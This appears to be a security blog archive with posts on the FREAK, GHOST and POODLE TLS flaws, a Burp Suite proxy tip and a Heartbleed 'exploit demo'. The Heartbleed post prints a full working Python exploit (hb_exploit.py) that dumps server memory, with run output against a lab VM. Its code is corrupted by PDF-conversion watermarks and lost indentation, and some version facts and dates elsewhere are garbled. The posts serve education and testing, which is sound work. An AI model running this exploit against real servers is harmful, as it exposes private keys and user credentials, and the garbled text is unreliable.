Thursday 5 March 2015

Understanding and Fixing the FREAK Attack (CVE-2015-0204)

What is FREAK Attack?

FREAK is a new man-in-the-middle (MITM) vulnerability discovered by a group of cryptographers at INRIA, Microsoft Research and IMDEA .

FREAK stands for “Factoring RSA-EXPORT Keys".

An attack method known as Factoring RSA Export Keys (FREAK) could allow an unauthenticated, remote attacker the ability to perform a man-in-the-middle (MiTM) attack, to bypass security restrictions, and to gain access to sensitive information.

The attack leverages a vulnerability in OpenSSL in which RSA temporary keys could be downgraded due to weak export cipher suites. An unauthenticated, remote attacker with the ability to perform a MiTM attack between a vulnerable client and server could exploit this vulnerability to decrypt SSL/TLS communication and gain access to sensitive information, which could be leveraged to conduct further attacks.


FREAK Attack VIDEO



How it works?
The scenario works like this:
  1. Vulnerable client sends plaintext ClientHello message containing supported ciphersuites, none of which is EXPORT.
  2. Attacker intercepts the ClientHello and replaces the ciphersuites with EXPORT ones.
  3. The server selects one of the EXPORT ciphersuites and responds with the reduced-length export key. If the server is not configured to use EXPORT ciphersuites, then it issues a fatal alert instead, and the connection stops.
  4. The attacker modifies the ServerHello response to replace the EXPORT ciphersuite with the non-export version, but leaves the weak key alone.
  5. Because of the bug, the client accepts the export key and negotiates a weakened TLS connection.

How to check for SSL FREAK Vulnerability?
$ openssl s_client -connect www.example.com:443 -cipher EXPORT

A handshake failure signifies that EXPORT cipher is not active on the server and it is safe.

(or)

http://www.freakattacktest.tk/index.html
https://tools.keycdn.com/freak 

Proof-of-Concept:

                                                          fig (a) As you can see there is no Handshake error


                                    fig (b) Handshake failure indicates that Export cipher is disabled

How to fix?
Upgrade the OpenSSL version to at least 1.02

Reference:
https://freakattack.com

Wednesday 11 February 2015

Understanding and Fixing the GHOST Vulnerability (CVE-2015-0235)

Introduction
It appears we have yet another sleepy crawly creepy bug lurking in the depths of our linux boxes.
Security researchers at cloud security firm Qualys found a critical vulnerability in Linux, specifically the GNU C Library, commonly known as (glibc). It seems as though all new vulnerabilities need to have catchy marketing names so this one was dubbed "GHOST" which was derived from the vulnerable glibc function name - "GetHOSTbyname()" -  allows attackers to remotely hack into vulnerable systems without any passwords or administrator credentials.

What is GHOST vulnerability?
GHOST relates to a critical flaw in the GNU C Library (glibc), a core Linux library which is used in many Linux versions and affects several implementations of the operating system. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials.
CVE-2015-0235 has been assigned to this issue.

"During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address."

Source: Qualys

GHOST Vulnerability (CVE-2015-0235) Video

 

It seems that the the bug has existed for a little more than 14 years (the first vulnerable version of the GNU C Library affected by this is glibc-2.2, released on 10 November 2000).
Unfortunately, it was not recognised as a security threat; as a result, most stable and long-term support distributions were left exposed, including Debian 7 (wheezy), Red Hat Enterprise Linux 6 and 7, CentOS 6 and 7, and Ubuntu 12.04.

This vulnerability has long been patched. The underlying problem was first introduced into glibc in 2000, but was fixed by May 2013. This means that many newer Linux operating systems were never at risk.

What is the risk?
There is a remote code execution risk due to this vulnerability. An attacker who exploits this issue can gain complete control of the compromised system.

Is this a design flaw?
No. This is an implementation problem in the affected versions of the software.

Which versions of glibc are vulnerable?
If the version of glibc is older than 2.18, your system is vulnerable to GHOST and should be updated. If you are using 2.18 or later, you are safe from the vulnerability.

All versions of glibc from glibc-2.2 (released 2010-11-10) until glibc-2.17 are vulnerable.  
Versions 2.18 through 2.20 (inclusive) or under 2.1.3 (inclusive) are NOT vulnerable.

Which OS platforms are being targeted or could be affected? 
The following OS platforms may be affected:
  • Ubuntu Ubuntu Linux 12.04 LTS i386
  • Ubuntu Ubuntu Linux 12.04 LTS amd64
  • Ubuntu Ubuntu Linux 10.04 sparc
  • Ubuntu Ubuntu Linux 10.04 powerpc
  • Ubuntu Ubuntu Linux 10.04 i386
  • Ubuntu Ubuntu Linux 10.04 ARM
  • Ubuntu Ubuntu Linux 10.04 amd64
  • Red Hat Enterprise Linux Desktop 5 client
  • Red Hat Enterprise Linux 5 Server
  • S.u.S.E. Linux 7.1 x86
  • S.u.S.E. Linux 7.1 sparc
  • S.u.S.E. Linux 7.1 ppc
  • S.u.S.E. Linux 7.1 alpha
  • S.u.S.E. Linux 7.1
  • Wirex Immunix OS 7+
  • Debian Linux 6.0 sparc
  • Debian Linux 6.0 s/390
  • Debian Linux 6.0 powerpc
  • Debian Linux 6.0 mips
  • Debian Linux 6.0 ia-64
  • Debian Linux 6.0 ia-32
  • Debian Linux 6.0 arm
  • Debian Linux 6.0 amd64 
Is the vulnerability being exploited in the wild?
There are no report as such now, but Proof of Concept has produced to proove its claim by the researchers at Trustwave.

The proof-of-concept code can be used to check whether a remote web server is vulnerable to Ghost. It works by sending an XML request to the XML-RPC Pingback functionality of WordPress which includes a long URL.

The code works on patched and unpatched versions but they will respond in a different way thus allowing the researcher or administrator to determine whether the server is patched or not.

Click here to get Ruby PoC script

Qualys plans to release a metasploit module in the near future.

Is your web server is victim of GHOST vulnerability?
Monitor your logs : When attackers are attempting to exploit this vulnerability against your web servers, there will most likely be error messages (segmentation faults, etc...) that will indicate a problem.

Is the exploit available to download?
Thankfully, Qualys hasn’t released a working version of the hack yet. They’re waiting until half of all Linux servers are updated, and then are releasing it to force the hand of the remaining half.

How to fix the GHOST vulnerability?
  1. Install latest version of glibc here . Current stable version of glibc is 2.21 and don't forget to reboot!
  2. Disable the XML-RPC process altogether if you do not want to use it.
  3. Disable the pingback feature by adding the following to your functions.php file:                            
                  add_filter( 'xmlrpc_methods', function( $methods ) {
                         unset( $methods['pingback.ping'] );
                         return $methods;
                   } );

References:
  • RedHat: https://rhn.redhat.com/errata/RHSA-2015-0090.html
  • Ubuntu: https://launchpad.net/ubuntu/+source/eglibc
  • Debian: https://security-tracker.debian.org/tracker/CVE-2015-0235
  • Oracle Enterprise Linux: https://oss.oracle.com/pipermail/el-errata/2015-January/004810.html
  • CentOS: http://lists.centos.org/pipermail/centos-announce/2015-January/020906.html
  • OpenSUSE: http://lists.opensuse.org/opensuse-updates/2015-01/msg00085.html
  • GNU C Library: http://www.gnu.org/software/libc/
  • Mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235
  • https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
  • https://www.digitalocean.com/community/tutorials/how-to-protect-your-linux-server-against-the-ghost-vulnerability














Tuesday 6 January 2015

Understanding and Fixing the POODLE TLS Vulnerability (CVE-2014-8730)

Introduction

Transport Layer Security (TLS) and its predecessor; Secure Sockets Layer (SSL) is an encryption protocol used on the internet to encrypt connections between the web browser and the web server.

SSL allows sensitive information such as credit card numbers, social security numbers, and login credentials to be transmitted securely. Normally, data sent between browsers and web servers is sent in plain text; leaving you vulnerable to eavesdropping. If an attacker is able to intercept all data being sent between a browser and a web server they can see and use that information. 
  
What is POODLE?

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryption") is a man-in-the-middle exploit which takes advantage of Internet and security software clients fallback to SSL 3.0.If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages.
POODLE attack is not considered as serious as the Heartbleed and Shellshock attacks.

Poodle Attack Against TLS

In mid-October, researchers discovered yet another flaw in cryptographic protocol, warned that communications encrypted with secure socket layer (SSL) 3.0 are exposed to POODLE attacks due to a cipher block chaining (CBC) weakness (CVE-2014-3566). Security experts from Google suspected TLS might also be affected with POODLE vulnerability (CVE-2014-8730).

A new variant of the original POODLE attack was announced on December 8, 2014. This attack exploits implementation flaws of CBC mode ciphers in the TLS 1.0 - 1.2 protocols. Even though TLS specifications require servers to check padding, some implementations fail to validate it properly, which make some servers vulnerable to POODLE even if they disable SSL 3.0.

Video : Poodle Vulnerability Explain
 
                                 

The Exploit

Exploiting this attack would be similar to the original POODLE attack. If an attacker is able to carry out MITM attacks, it is possible that they could be used to decode encrypted traffic and allow an attacker to read that user’s traffic. A single character can be decrypted using 256 requests to the original HTTP server; an eight-character password would require 2,048 requests.

The main target are browsers, because the attacker must inject malicious JavaScript to initiate the attack. A successful attack will use about 256 requests to uncover one cookie character, or only 4096 requests for a 16-character cookie. This makes the attack quite practical.

Testing for Poodle Vulnerability
  1. To check the user-agent
    https://www.ssllabs.com/ssltest/viewMyClient.html 
  2. To check the web-server
    https://www.ssllabs.com/ssltest/index.html
Fixing the vulnerability

There is no “patch” that can be directly applied as the vulnerability lies in the protocol, not in the implementation. Reports have confirmed that application delivery networking vendors such as F5 Networks and A10 Networks have announced that the flaw exists in some of their products, to which the vendors have already issued patches and workarounds. It is thus recommended to apply patches provided by your vendors if vulnerable.

References
  1. https://community.qualys.com/blogs/securitylabs/2014/12/08/poodle-bites-tls
  2. https://www.openssl.org/~bodo/ssl-poodle.pdf

Friday 20 June 2014

::: Malware Analysis Tutorials :::

Hello guys,

Here i'm sharing the link to download the "Malware Analysis Tutorial"

Credits: www.securityxploded.com

::: Burpsuite Settings To Intercept WebApp Request on VPN :::

Hello Readers,

If a application is hosted at client location and they are provided VPN access to test their web application, then you have to configure BurpSuite in order to intercept traffic.

Step 1: Go to [win]+R and then type cmd.
 
Step 2: Type java -Djava.net.preferIPV4Stack=true -jar <burp.jar>
Note: Make sure java is installed

Step 3:  Set the burp proxy in the proxy tab and as well as in the browser in which you want to intercept the traffic.

Step 4: Open the browser and type the IP which connects to VPN provided by the client and start using the application which is hosted at client location.

Step 5: Voila, Request will start capture in the Burpsuite.

Step 6: Play with it

Check this image





For more info : check this link

Please subscribe to my blog and get regular updates...

Thank You guys :)




Monday 28 April 2014

::: How to exploit Heartbleed Vulnerability & Demo PART 1 :::




Before showing demo, let’s go for some explanation about it.
 
Q) What is SSL?
SSL stands for Secure Sockets Layer. It is an industry standard technology used for establishing a secure connection between two points, and encrypting the traffic that passes between them. In theory, SSL protects the data passed between a Web server and browser from being accessed or intercepted.

Q) What is OpenSSL?
OpenSSL is an open-source implementation of the SSL and TLS protocols. The core library, written in the C programming language, implements the basic cryptographic functions and provides various utility functions. Wrappers allowing the use of the OpenSSL library in a variety of computer languages are available.

Source: Wikipedia.com

Q) What is “Heartbeat” extension?
The Heartbeat Extension provides a new protocol for TLS/DTLS allowing the usage of keep-alive functionality without performing a renegotiation and a basis for path MTU (PMTU) discovery for DTLS.

Q) About Heartbeat bug?
Millions of websites may have been leaking critically sensitive data for the past two years, thanks to a devastating flaw in the OpenSSL software many sites use to encrypt and transmit data.

The Heartbleed bug, as it’s called by the researchers who discovered it, would let anyone on the Internet get into a supposedly secure Web server running certain versions of OpenSSL and scoop up the site’s encryption keys, user passwords and site content.
Once an attacker has a website’s encryption keys, anything is fair game: Instead of slipping through a proverbial crack in the wall, he can now walk in and out the front door.

There have been no documented instances of attacks exploiting the Heartbleed bug. But because an attack using the bug would leave no trace, and the potential damage from an attack would be so significant, all websites that ever used the affected versions of OpenSSL should be considered compromised.

Top sites — including Facebook, Google, Wikipedia, Amazon, Twitter, Apple and Microsoft — are not currently vulnerable, though some may have been in the past.


Q) How the Hearbleed bug works?
Most secure websites encrypt traffic to and from their servers using a protocol called SSL/TLS. There are several different encryption “libraries” that can be used in this protocol, and one of the most widely used is an open-source library called OpenSSL.

The Heartbleed bug is in versions of OpenSSL issued from December 2011 onward, not in SSL/TLS itself. Not every instance of SSL or TLS encryption across the Internet is compromised. But OpenSSL is the default encryption library in Apache and Nginx server software, which power two-thirds of all websites.

An attack exploiting the Heartbleed bug would leave no trace in an attacked Web server’s logs. It’s impossible to tell how many sites, if any, may have been exploited, and how many may have been vulnerable over the past two years.

Neel Mehta of Google Security and a team of engineers at Oulu, Finland-based security company Codenomicon first discovered the Heartbleed bug, though they haven’t specified when. They’ve created a FAQ page at heartbleed.com with full details.

The bug’s name refers to a handshake (process of connecting to a network) in OpenSSL’s code called the “heartbeat extension,” which sets a limit on how long an encrypted session stays valid. A coding error meant that the extension was missing a necessary verification (called a bounds check), thus giving an attacker access to additional information about the server and creating the vulnerability.

The most recent version of OpenSSL, 1.0.1g, patches the flaw, so any websites running OpenSSL should upgrade to the newest version immediately.

However, the damage has been done. Versions of OpenSSL with the bug have been in use for more than two years. If an attacker used the Heartbleed bug to get into a Web server, he would have access to the website’s “crown jewels”: its encryption keys.

With the keys, attackers could decrypt traffic to and from the server; impersonate the server so that users who think they’re visiting a given website are actually visiting a fraudulent site disguised as the correct one; or decrypt the server’s databases, including their users’ personal information, such as usernames, passwords, email addresses, payment information and more.

Web servers that use or used vulnerable versions of OpenSSL need to do more than upgrade to the latest version of OpenSSL; they also need to revoke and reissue all of their encryption certificates. It’s no use boarding up a hole in the wall if the intruders can now let themselves in through the front door.

Q) Who is Affected?
Administrators of websites using Apache or Nginx server software need to evaluate whether they have, or had used, vulnerable versions of OpenSSL. Such websites should be considered compromised.

OpenSSL is also incorporated into email servers using the SMTP, POP and IMAP protocols; chat servers using the SMPP protocol; and most virtual private networks (VPNs) that use SSL to protect their networks.

Want to check if an individual Web domain is affected?
Check your domain is safe from heartbleed by typing your domain name in the below URL.

Q) What should you do?
Unless you’re a system administrator, there’s not much you can do right now. We can’t even recommend that you change your online passwords — not yet, at least. If a website hasn’t upgraded its OpenSSL library and changed its encryption certificates, then a new password would be just as compromised as an old one.

The vulnerable versions of OpenSSL are 1.0.0 through 1.0.1f. If you’re a website administrator and can’t upgrade to the newest version, then you can manually disable the heartbeat function and then recompile OpenSSL’s code.

It’s Show Time !!!

Many people requested me to provide heartbleed exploit demo. So here your wait ends and lets have some action.

Prerequisites:
1.      VMware Workstation or Virtual Box.
2.      Ubuntu  12.04 ISO

I hope you know how to run Ubuntu in virtual machine … I’m just kidding :P   … If you don’t Google it…
Step 1: I downloaded a Ubuntu 12.04 ISO, which has a default version of OpenSSL of 1.0.1, and which is vulnerable to HeartBleed.

Step 2: Next I'll install Apache, SSL and accpet the default Ubuntu certificate.

Step 3: Run the Ubuntu machine and open the terminal  and type the below commands

#sudo apt-get install apache2
#sudo a2enmode ssl
#service apache2 restart
#service apache2 status
#sudo a2ensite default-ssl
#service apache2 reload
#service apache2 restart

I hope you done exactly, what I’ve done r8

This will create a Web server which uses https on Port 443. In the demo I run the Ubuntu server in VMware Workstation at IP 192.168.61.131.

Step 4: Check your OpenSSL version and other information.

#openssl version  –a
OpenSSL 1.0.1 28 Apr 2014

Step 5: Next a Web connection is used to verifiy the connection, after which the following commands can be used to access the server.

#openssl s_client  –connect 192.168.61.131:443 –tlsextdebug
CONNECTED(00000003)
TLS server extension "renegotiation info" (id=65281), len=1
0001 - <SPACES/NULS>
TLS server extension "session ticket" (id=35), len=0
TLS server extension "heartbeat" (id=15), len=1   ß Vulnerability
0000 - 01                                                .
depth=0 CN = ubuntu
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ubuntu
verify return:1
---
Certificate chain
 0 s:/CN=ubuntu
   i:/CN=ubuntu
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICnjCCAYYCCQDWrFwbrAxohjANBgkqhkiG9w0BAQUFADARMQ8wDQYDVQQDEwZ1
YnVudHUwHhcNMTQwNDI1MTY0NjA2WhcNMjQwNDIyMTY0NjA2WjARMQ8wDQYDVQQD
EwZ1YnVudHUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCgXGIPBKLo
h31pJ4a/uGATJpiK4PyDBdgOofjvnptF6VLsAbYPQ3sLzTBa2KsydYnd31TZDcsX
tOvghN0Ou601+IB5mMj00qQR9gpokKKYz7jioQkHaH0qb41HjPQzTHewpSsJXxsR
rI3jwAYUGtDhlgRU9v21V0G3CprxUmRpF9xIGspw0k88gNa2hfLrQg6AuOSXNuhc
bRKjNu712eDY7TnV1XIBwLd5L38jh87mKoV4UzPVmBUCcCDsqsHl07lQiy0/UGWu
AqwtDbuSLRh5sKSBaIRPJOwvhhQ0sBjr1Z+OvmaSTtAt5L+N0Ta7qBUOTQwEhL5q
iUBeshYCXd73AgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAJmK8K1cW4EoTNMPRD9/
Zcf8llfIIgXPj0ZrsL64EGlIICTX05nUBdNoUaoL+Ivii94flEeI/sr6UvFcc4uC
DITICRn7n87kbF95tLBV+303dfPautUlP19qe7N9XPQW4/nWnkqeRjInbdyKtxNr
r0hHOwHeXnDBBBP1pCn3c1b84Yfc+S+ouNm//CmvlL+ublErlBnqU9Sg+7VoKbHn
NNhCmRK2SyR1K4FsFyGa+gu1Ii7PGDXZOI5hBjLtTe31yf9wZl71iHw+9Uj1h01O
W2g2cpOrRbinTN7lOLg3u9v0RCeqSfjUEBe1tjqxLjn6O7EoJeaan5AdYPPzWBjG
mKY=
-----END CERTIFICATE-----
subject=/CN=ubuntu
issuer=/CN=ubuntu
---
No client certificate CA names sent
---
SSL handshake has read 1573 bytes and written 439 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.1
    Cipher    : DHE-RSA-AES256-SHA
    Session-ID: 9206481F74BE3E642870690D7484AD773C3D1265193DE87A2D1353B8D80893E5
    Session-ID-ctx:
    Master-Key: D8DA9DDF1019EB7FCB96A978DE628B33D41BA7869385A5B5F55DB537E829D00A902EABEAE8C0B30804AC931A6A3E9E54
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - fc ae af 70 83 3d 13 5d-01 75 11 9b 25 d6 56 36   ...p.=.].u..%.V6
    0010 - 8b cf f5 53 d1 22 3f fd-d9 88 d2 77 21 d1 8b af   ...S."?....w!...
    0020 - 0e f1 5a 27 99 f9 b4 7f-06 c0 48 cd c9 e5 11 38   ..Z'......H....8
    0030 - 34 73 bb c7 40 6a 01 cd-4e d0 2c 76 60 4e 47 75   4s..@j..N.,v`NGu
    0040 - 1c 13 29 a8 52 de ae 86-90 5e ce df 83 fc eb 9e   ..).R....^......
    0050 - 52 2c 5b 8b 02 c6 b3 44-25 64 01 81 1b f3 41 15   R,[....D%d....A.
    0060 - e7 5c b1 d4 e4 be ab 63-03 a9 f0 2c 76 d8 79 bb   .\.....c...,v.y.
    0070 - 67 84 99 50 b0 39 60 0e-69 ac 2e b7 14 3a 10 16   g..P.9`.i....:..
    0080 - 44 02 35 19 96 ce 47 9a-18 39 8f 3e e1 6e 2b 47   D.5...G..9.>.n+G
    0090 - f1 f7 ca a6 fe 35 69 ed-e6 6b 56 dc 88 f3 48 60   .....5i..kV...H`
    00a0 - 3c 39 d2 1a 74 ae f3 62-58 6d 2e 2d ee 30 12 d6   <9..t..bXm.-.0..
    00b0 - a5 1e 84 54 71 fe 22 a7-08 7c 81 16 09 9c 67 91   ...Tq."..|....g.

    Start Time: 1398683776
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---

Step 6:  Copy the below python script in the editor and save it as hb_exploit.py
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulne
rability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulne
rable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped me
mory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='s
tore_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (sm
tp only right now)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
conve rte d by We b2PDFC onve rt.com
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s, dumpf, quiet):
dump = open(dumpf,'a')
dump.write(s)
dump.close()
if quiet: return
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
if not rdata:
return None
else:
return rdata
r, w, e = select.select([s], [], [], 5)
conve rte d by We b2PDFC onve rt.com
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s, dumpf, host, quiet):
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received from '+host+', server likely not vulnerable'
return False
if typ == 24:
if not quiet: print 'Received heartbeat response:'
hexdump(pay, dumpf, quiet)
if len(pay) > 3:
print 'WARNING: server '+ host +' returned more data than it should - server is vulnera
ble!'
else:
print 'Server '+host+' processed malformed heartbeat, but did not return any extra dat
a.'
return True
if typ == 21:
if not quiet: print 'Received alert:'
hexdump(pay, dumpf, quiet)
print 'Server '+ host +' returned error, likely not vulnerable'
return False
def connect(host, port, quiet):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not quiet: print 'Connecting...'
sys.stdout.flush()
s.connect((host, port))
return s
conve rte d by We b2PDFC onve rt.com
def tls(s, quiet):
if not quiet: print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
if not quiet: print 'Waiting for Server Hello...'
sys.stdout.flush()
def parseresp(s):
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return 0
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
return ver
def check(host, port, dumpf, quiet, starttls):
response = False
if starttls:
try:
s = smtplib.SMTP(host=host,port=port)
s.ehlo()
s.starttls()
except smtplib.SMTPException:
print 'STARTTLS not supported...'
s.quit()
return False
print 'STARTTLS supported...'
s.quit()
s = connect(host, port, quiet)
s.settimeout(1)
try:
re = s.recv(1024)
s.send('ehlo starttlstest\r\n')
re = s.recv(1024)
s.send('starttls\r\n')
re = s.recv(1024)
except socket.timeout:
print 'Timeout issues, going ahead anyway, but it is probably broken ...'
tls(s,quiet)
else:
s = connect(host, port, quiet)
tls(s,quiet)
version = parseresp(s)
if version == 0:
if not quiet: print "Got an error while parsing the response, bailing ..."
return False
else:
conve rte d by We b2PDFC onve rt.com
version = version - 0x0300
if not quiet: print "Server TLS version was 1.%d\n" % version
if not quiet: print 'Sending heartbeat request...'
sys.stdout.flush()
if (version == 1):
s.send(hbv10)
response = hit_hb(s,dumpf, host, quiet)
if (version == 2):
s.send(hbv11)
response = hit_hb(s,dumpf, host, quiet)
if (version == 3):
s.send(hbv12)
response = hit_hb(s,dumpf, host, quiet)
s.close()
return response
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
for i in xrange(0,opts.num):
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
if __name__ == '__main__':
main()

Step 7: Next we run the python script hb_exploit.py to capture the running memory from the server.

#chmod a+x hb_exploit.py
#ls
hb_exploit.py
#python hb_exploit.py 192.168.61.131
Scanning 192.168.61.131 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 684
 ... received message: type = 22, ver = 0302, length = 525
 ... received message: type = 22, ver = 0302, length = 4
Server TLS version was 1.2

Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
  00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server 192.168.61.131 returned more data than it should - server is vulnerable!

Thus we can see the memory of the server, with running keys.

Step 8: Save the captured memory in hbdump.txt
#python hb_exploit.py 192.168.61.131 > hbdump.txt
#nano hbdump.txt (You can use any editor to view the file vi,pico,gedit etc)

I hope you will like it ...

Follow me on twitter